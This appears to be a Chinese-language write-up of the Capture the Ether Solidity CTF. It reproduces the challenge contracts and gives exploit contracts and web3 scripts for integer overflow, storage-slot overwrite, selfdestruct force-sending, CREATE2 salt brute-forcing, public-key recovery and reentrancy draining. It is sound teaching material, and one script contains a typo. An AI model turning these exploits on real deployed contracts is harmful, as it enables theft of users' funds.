Capture the Ether
Capture the Ether 分 Warmup,Lotteries,Math,Accounts,Miscellaneous 5 类,共 20 道题
比较有趣的是,不像 Ethernaut 以 1-10 标记题目难度,在 Capture the Ether 中,每道题有不同的积分,总分是 11600。积分前 100 名的玩家会展示在 排行榜 上
另外,每道题目都有 function isComplete() public returns (bool);
接口,因此题意更加容易理解
1. Deploy a contract
题目
pragma solidity ^0.4.21;
contract DeployChallenge {
// This tells the CaptureTheFlag contract that the challenge is complete.
function isComplete() public pure returns (bool) {
return true;
}
}
2. Call me
题目
pragma solidity ^0.4.21;
contract CallMeChallenge {
bool public isComplete = false;
function callme() public {
isComplete = true;
}
}
3. Choose a nickname
题目
要求设置排行榜的昵称
pragma solidity ^0.4.21;
// Relevant part of the CaptureTheEther contract.
contract CaptureTheEther {
mapping (address => bytes32) public nicknameOf;
function setNickname(bytes32 nickname) public {
nicknameOf[msg.sender] = nickname;
}
}
// Challenge contract. You don't need to do anything with this; it just verifies
// that you set a nickname for yourself.
contract NicknameChallenge {
CaptureTheEther cte = CaptureTheEther(msg.sender);
address player;
// Your address gets passed in as a constructor parameter.
function NicknameChallenge(address _player) public {
player = _player;
}
// Check that the first character is not null.
function isComplete() public view returns (bool) {
return cte.nicknameOf(player)[0] != 0;
}
}
题解
这里设置的昵称,最终会显示在排行榜上
如果已完成题目,但想修改昵称的话,点击题目左侧的 Do It Again
即可
> (web3.utils.asciiToHex('RIPWU')).padEnd(64, '0')
'0x52495057550000000000000000000000000000000000000000000000000000'
4. Guess the number
题目
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
5. Guess the secret number
题目
要求给出哈希为特定值的一个 uint8
数字
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
题解
uint8
取值空间很小,为 [0, 255],遍历查找即可
可以在 Solidity
中遍历
pragma solidity ^0.4.21;
contract ExploitGuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function guess() public view returns (uint256) {
for (uint8 n = 0; n < 255; n++) {
if (keccak256(n) == answerHash) {
return n;
}
}
return 256;
}
}
也可以在 js
中通过 web3.utils.soliditySha3()
遍历
for (let i = 0; i < 256; i++) {
var hash = web3.utils.soliditySha3({type: 'uint8', value: i.toString()})
console.log(`i:${i} hash:${hash}`);
if (hash == '0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365') {
console.log("catched!");
}
}
注意:soliditySha3()
参数类型容易引起歧义,为免错误,使用时可以强制指定类型
> web3.utils.soliditySha3({type: 'uint256', value: 170})
'0x550d3de95be0bd28a79c3eb4ea7f05692c60b0602e48b49461e703379b08a71a'
> web3.utils.soliditySha3({type: 'uint8', value: 170})
'0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365'
6. Guess the random number
题目
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
7. Guess the new number
题目
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
8. Predict the future
题目
要求提前给出 guess
,至少一轮后开奖
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
题解
开奖结果依赖于前一区块哈希,和当前区块时间。前者可以获取,并以高 gasPice 发送交易以期在当前区块被打包;但后者由矿工决定,因此无解
只能发多几次交易了..
9. Predict the block hash
题目
要求猜出开奖交易所在区块的哈希
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
题解
根据黄皮书 BLOCKHASH
的定义,它只能获取最近 256 个区块的哈希,超出时返回 0
\begin{aligned}
P(h, n, a) \equiv \begin{cases} 0 & \text{if} \quad n > H_{\mathrm{i}} \vee a = 256 \vee h = 0 \\ h & \text{if} \quad n = H_{\mathrm{i}} \\ P(H_{\mathrm{p}}, n, a + 1) & \text{otherwise} \end{cases}
\end{aligned}
因此我们可以猜 0 的哈希,然后等 256 个区块..
以太坊出块时间大概是 15 秒,因此等待时间为一个小时左右
10. Token sale
题目
要求获取目标合约的 balance
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
题解
buy()
函数中的乘法存在溢出
async function main() {
const targetAddress = '0x546a782986933ff853248E865cC0AFd9fb93a721';
const targetABI = require('../build/contracts/TokenSaleChallenge.json').abi;
const targetContract = new web3.eth.Contract(targetABI, targetAddress);
//
const Max = web3.utils.toBN("0x10000000000000000000000000000000000000000000000000000000000000000");
const Ether = web3.utils.toBN(web3.utils.toWei('1'));
const Zero = web3.utils.toBN('0');
const One = web3.utils.toBN('1');
const divmod = Max.divmod(Ether);
//
var numTokens = divmod.div.add(One);
const value = numTokens.mul(Ether).sub(Max);
await targetContract.methods.buy(numTokens).send({value});
await targetContract.methods.sell(One).send();
}
11. Token Whale
题目
要求获得超过 1000000 个 token
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
题解
transferFrom()
检查的是外部传入的 from
的余额,而实际扣款扣的是 msg.sender
,存在溢出
pragma solidity ^0.4.21;
import "./TokenWhaleChallenge.sol";
contract ExploitTokenWhaleChallenge {
TokenWhaleChallenge public target = TokenWhaleChallenge(0x4E12fAB3CF4aF2E96863c26c0949CEE97b092350);
address public owner;
function ExploitTokenWhaleChallenge() public {
owner = msg.sender;
require(target.balanceOf(owner) == target.totalSupply());
}
function attack() public {
address self = address(this);
uint256 allowance = target.allowance(owner, self);
require(allowance > 0);
target.transferFrom(owner, owner, allowance);
target.transfer(owner, 1000000);
require(target.isComplete() == true);
}
}
12. Retirement fund
题目
要求取出合约实例的全部 balance
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
题解
collectPenalty()
中的减法操作存在溢出,问题是合约没有显式的 payable receive()
或 payable fallback()
参考 Ethernaut #7 Force,通过 SELEDESTRUCT
强制发送 ETH 即可
13. Mapping
题目
要求修改合约实例的 isComplete
(slot0) 状态
pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
}
题解
类似 Ethernaut #19 Alien Codex,也是覆盖漏洞
> console.log('0x' + (2n ** 256n - BigInt(web3.utils.keccak256('0x' + '1'.padStart(64, '0')))).toString(16))
0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
14. Donation
题目
要求取出合约实例的全部 balance
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}
题解
donate()
中 donation
定义时未指定引用,默认指向 slot0
对 donation
的修改会覆盖 slot0 和 slot1,即 donations.length
和 owner
15. Fifty years
题目
要求取出合约实例的全部 balance
pragma solidity ^0.4.21;
contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;
address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);
owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);
// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;
// Reclaim storage.
delete queue[i];
}
// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;
msg.sender.transfer(total);
}
}
题解
漏洞分析
1.覆盖漏洞
upsert()
中 contribution
定义时未指定引用,默认指向 slot0
对 contribution
的修改会覆盖 slot0 和 slot1,即 queue.length
和 head
因而,可以分别利用外部参数 msg.value
和 timestamp
来覆盖它们
2.溢出漏洞
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
利用方式
发起首笔交易 upsert(1, 2^158 - 86400).send({value: 1})
,使得 queue.length
为 2,head
异常
发起第二笔交易 upsert(2, 0).send({value: 2})
交易,使得 queue.length
为 3,head
重置为 0
此时,withdraw()
计算得到的 total
为 1 ether + 2 wei + 3 wei
但是,目标合约实际 balance
为 1 ether + 1 wei + 1 wei
因此,可以参考题目 12. Retirement fund,通过 SELEDESTRUCT
强制发送 2 wei,使得 withdraw()
交易正常执行
攻击脚本
async function main() {
const targetAddress = '0x56664296F6d15D6646404a50785d26bE7b4FdeB5';
const targetABI = require('../build/contracts/FiftyYearsChallenge.json').abi;
const targetContract = new web3.eth.Contract(targetABI, targetAddress);
const forceSendEtherAddress = '0x39dCD8014Ce351Db10f655bE71B688f1fA217EdE';
const forceSendEtherABI = require('../build/contracts/ForceSendEther.json').abi;
const forceSendEtherContract = new web3.eth.Contract(forceSendEtherABI, forceSendEtherAddress);
{
const index = 1;
const timestamp = 2n ** 256n - 86400n;
const timestampHex = '0x' + timestamp.toString(16);
await targetContract.methods.upsert(index, timestampHex).send({value: index});
}
{
const index = 2;
const timestamp = 0n;
const timestampHex = '0x' + timestamp.toString(16);
await targetContract.methods.upsert(index, timestampHex).send({value: index});
}
{
const lowerPaid = 2; // (1 ether + 2 + 3) - (1 ether + 1 + 2)
await orceSendEtherContract.methods.kill(targetAddress).send({value: lowerPaid});
}
{
const index = 2;
await targetContract.methods.withdraw(index).send();
}
}
pragma solidity ^0.4.21;
contract ForceSendEther {
function kill(address target) public payable {
require(msg.value > 0);
selfdestruct(target);
}
}
16. Fuzzy identity
题目
要求攻击合约地址包含 badc0de
pragma solidity ^0.4.21;
interface IName {
function name() external view returns (bytes32);
}
contract FuzzyIdentityChallenge {
bool public isComplete;
function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));
isComplete = true;
}
function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}
function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}
return false;
}
}
题解
参考黄皮书公式(81),部署合约时,目标地址有两种计算方式,分别为 CREATE
和 CREATE2
\begin{aligned}
L_{\mathrm{A}}(s, n, \zeta, \mathbf{i}) \equiv \begin{cases}
\mathtt{RLP}\big(\;(s, n)\;\big) & \text{if}\ \zeta = \varnothing \\
(255) \cdot s \cdot \zeta \cdot \mathtt{KEC}(\mathbf{i}) & \text{otherwise}
\end{cases}
\end{aligned}
容易得到攻击合约和 CREATE2
部署合约的代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFuzzyIdentityChallenge {
function authenticate() external;
}
contract ExploitFuzzyIdentityChallenge {
function name() public pure returns (bytes32) {
return bytes32("smarx");
}
function attack(address target) public {
IFuzzyIdentityChallenge(target).authenticate();
}
}
contract ExploiterFactory {
ExploitFuzzyIdentityChallenge public target;
function createInstance(uint256 salt) public {
bytes memory initCode = abi.encodePacked(
type(ExploitFuzzyIdentityChallenge).creationCode
);
assembly {
let result := create2(0x0, add(0x20, initCode), mload(initCode), salt)
sstore(target.slot, result)
}
}
}
关键是找到合适的 Salt
,只能暴力搜索了..
async function main() {
const begin = Math.floor(Date.now() / 1000);
const creationCode = '0x' + require('../build/contracts/ExploitFuzzyIdentityChallenge.json').data.bytecode.object;
const factoryAddress = '0x4eC215056652AF2Dc8A1Da9a0BB23b6532dCF9Bf';
const prefix = '0xff' + factoryAddress.slice(2);
const suffix = web3.utils.sha3(creationCode).slice(2);
var salt = 0;
while (true) {
const saltHex = salt.toString(16).padStart(64, '0');
const concatString = prefix.concat(saltHex).concat(suffix);
const hashed = web3.utils.sha3(concatString);
// console.log(`salt: ${salt}, hashed: ${hashed}`);
if (hashed.substr(26).includes('badc0de')) {
console.log(`salt: ${salt}, hashed: ${hashed}`);
break;
}
salt++;
}
const end = Math.floor(Date.now() / 1000);
console.log(`begin: ${begin}`);
console.log(`end: ${end} `);
console.log(`pass: ${end - begin}`);
}
运行结果如下,花了 220 秒
salt: 21456611, hashed: 0x52e1074b007f24bc6a71f04b3bfa44fd90ff849c2f87fcfbadc0de5fc30b6d62
begin: 1629652850
end: 1629653070
pass: 220
题外
上面搜索脚本中,注释了调试日志..
如果打开调试日志,运行结果如下,慢了 20 倍,等了一个半小时才搞定...
salt: 21456611, address: 0x52e1074b007f24bc6a71f04b3bfa44fd90ff849c2f87fcfbadc0de5fc30b6d62
begin: 1629644879
end: 1629650298
pass: 5419
17. Public Key
题目
要求获得给定账户的公钥
pragma solidity ^0.4.21;
contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;
function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);
isComplete = true;
}
}
题解
在 EtherScan 上查找给定账户,得到从它发起的一笔交易哈希,再通过 eth_getTransactionByHash()
获得交易详情
$ curl 'https://ropsten.infura.io/v3/7044f2db16e84c559b57b67b565be7ae' \
-H 'authority: ropsten.infura.io' \
-H 'accept: application/json' \
-H 'dnt: 1' \
-H 'content-type: application/json' \
--data-raw '{
"id": 0,
"jsonrpc": "2.0",
"method": "eth_getTransactionByHash",
"params": [
"0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb"
]
}'
{
"jsonrpc":"2.0",
"id":0,
"result":{
"blockHash":"0x487183cd9eed0970dab843c9ebd577e6af3e1eb7c9809d240c8735eab7cb43de",
"blockNumber":"0x2e01ab",
"from":"0x92b28647ae1f3264661f72fb2eb9625a89d88a31",
"gas":"0x15f90",
"gasPrice":"0x3b9aca00",
"hash":"0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb",
"input":"0x5468616e6b732c206d616e21",
"nonce":"0x0",
"r":"0xa5522718c0f95dde27f0827f55de836342ceda594d20458523dd71a539d52ad7",
"s":"0x5710e64311d481764b5ae8ca691b05d14054782c7d489f3511a7abf2f5078962",
"to":"0x6b477781b0e68031109f21887e6b5afeaaeb002b",
"transactionIndex":"0x7",
"type":"0x0",
"v":"0x29",
"value":"0x0"
}
}
交易详情中包含 r
, s
, v
,即椭圆曲线签名,参考 go-ethereum
或 web3.eth.accounts
相关代码即可求解
// go-ethereum@v1.10.6/core/types/transaction_signing.go
func (s EIP155Signer) Sender(tx *Transaction) (common.Address, error) {
if tx.Type() != LegacyTxType {
return common.Address{}, ErrTxTypeNotSupported
}
if !tx.Protected() {
return HomesteadSigner{}.Sender(tx)
}
if tx.ChainId().Cmp(s.chainId) != 0 {
return common.Address{}, ErrInvalidChainId
}
V, R, S := tx.RawSignatureValues()
V = new(big.Int).Sub(V, s.chainIdMul)
V.Sub(V, big8)
return recoverPlain(s.Hash(tx), R, S, V, true)
}
// @ethereumjs/tx/dist/legacyTransaction.js
getSenderPublicKey() {
var _a;
const msgHash = this.getMessageToVerifySignature();
// EIP-2: All transaction signatures whose s-value is greater than secp256k1n/2 are considered invalid.
// Reasoning: https://ethereum.stackexchange.com/a/55728
if (this.common.gteHardfork('homestead') && ((_a = this.s) === null || _a === void 0 ? void 0 : _a.gt(types_1.N_DIV_2))) {
throw new Error('Invalid Signature: s-values greater than secp256k1n/2 are considered invalid');
}
const { v, r, s } = this;
try {
return ethereumjs_util_1.ecrecover(msgHash, v, ethereumjs_util_1.bnToUnpaddedBuffer(r), ethereumjs_util_1.bnToUnpaddedBuffer(s), this.supports(types_1.Capability.EIP155ReplayProtection) ? this.common.chainIdBN() : undefined);
}
catch (e) {
throw new Error('Invalid Signature');
}
}
18. Account Takeover
题目
要求获得给定账户的私钥
pragma solidity ^0.4.21;
contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;
function authenticate() public {
require(msg.sender == owner);
isComplete = true;
}
}
题解
这题没做出来,参考的是 Smart Contract Exploits Part 3 — Featuring Capture the Ether (Accounts)
19. Assume ownership
题目
要求获得 ownership
pragma solidity ^0.4.21;
contract AssumeOwnershipChallenge {
address owner;
bool public isComplete;
function AssumeOwmershipChallenge() public {
owner = msg.sender;
}
function authenticate() public {
require(msg.sender == owner);
isComplete = true;
}
}
题解
与 Ethernaut #2 Fallout 一样,构造函数拼写错了..
20. Token bank
题目
要求取出合约实例的全部 balance
pragma solidity ^0.4.21;
interface ITokenReceiver {
function tokenFallback(address from, uint256 value, bytes data) external;
}
contract SimpleERC223Token {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
string public name = "Simple ERC223 Token";
string public symbol = "SET";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC223Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return length > 0;
}
function transfer(address to, uint256 value) public returns (bool success) {
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
contract TokenBankChallenge {
SimpleERC223Token public token;
mapping(address => uint256) public balanceOf;
function TokenBankChallenge(address player) public {
token = new SimpleERC223Token();
// Divide up the 1,000,000 tokens, which are all initially assigned to
// the token contract's creator (this contract).
balanceOf[msg.sender] = 500000 * 10**18; // half for me
balanceOf[player] = 500000 * 10**18; // half for you
}
function isComplete() public view returns (bool) {
return token.balanceOf(this) == 0;
}
function tokenFallback(address from, uint256 value, bytes) public {
require(msg.sender == address(token));
require(balanceOf[from] + value >= balanceOf[from]);
balanceOf[from] += value;
}
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);
require(token.transfer(msg.sender, amount));
balanceOf[msg.sender] -= amount;
}
}
题解
TokenBankChallenge.withdraw(uint256)
中存在重入漏洞:
它先发出消息调用 token.transfer(msg.sender)
后修改状态
前者又会发起外部调用 ITokenReceiver(to).tokenFallback()
,其中 to
即 TokenBankChallenge.withdraw()
的调用者 msg.sender
即调回了攻击合约的 tokenFallback*()
,在其中我们可以再次调用 TokenBankChallenge.withdraw()
pragma solidity ^0.4.21;
interface ITokenBankChallenge {
function token() external returns (address);
function balanceOf(address from) external returns (uint256);
function withdraw(uint256 amount) external;
function isComplete() external view returns (bool);
}
interface ISimpleERC223Token {
function totalSupply() external returns (uint256);
function balanceOf(address from) external returns (uint256);
function transfer(address to, uint256 value) external returns (bool success);
}
contract ExploitTokenBankChallenge {
ITokenBankChallenge public bank = ITokenBankChallenge(0xC76B637ce46238c2f2DC4f642316D7536503A844);
function attack() public {
ISimpleERC223Token token = ISimpleERC223Token(bank.token());
uint256 balance = token.balanceOf(this);
require(balance == token.balanceOf(address(bank)));
require(balance + token.balanceOf(address(bank)) == token.totalSupply());
token.transfer(address(bank), balance);
require(token.balanceOf(this) == 0);
require(balance == bank.balanceOf(this));
require(token.balanceOf(address(bank)) == token.totalSupply());
bank.withdraw(balance);
require(bank.isComplete() == true);
}
function tokenFallback(address from, uint256, bytes) public {
ISimpleERC223Token token = ISimpleERC223Token(bank.token());
require(msg.sender == address(token));
if (from == address(bank)) {
if (token.balanceOf(address(bank)) > 0) {
uint256 balance = bank.balanceOf(this);
bank.withdraw(balance);
}
}
}
}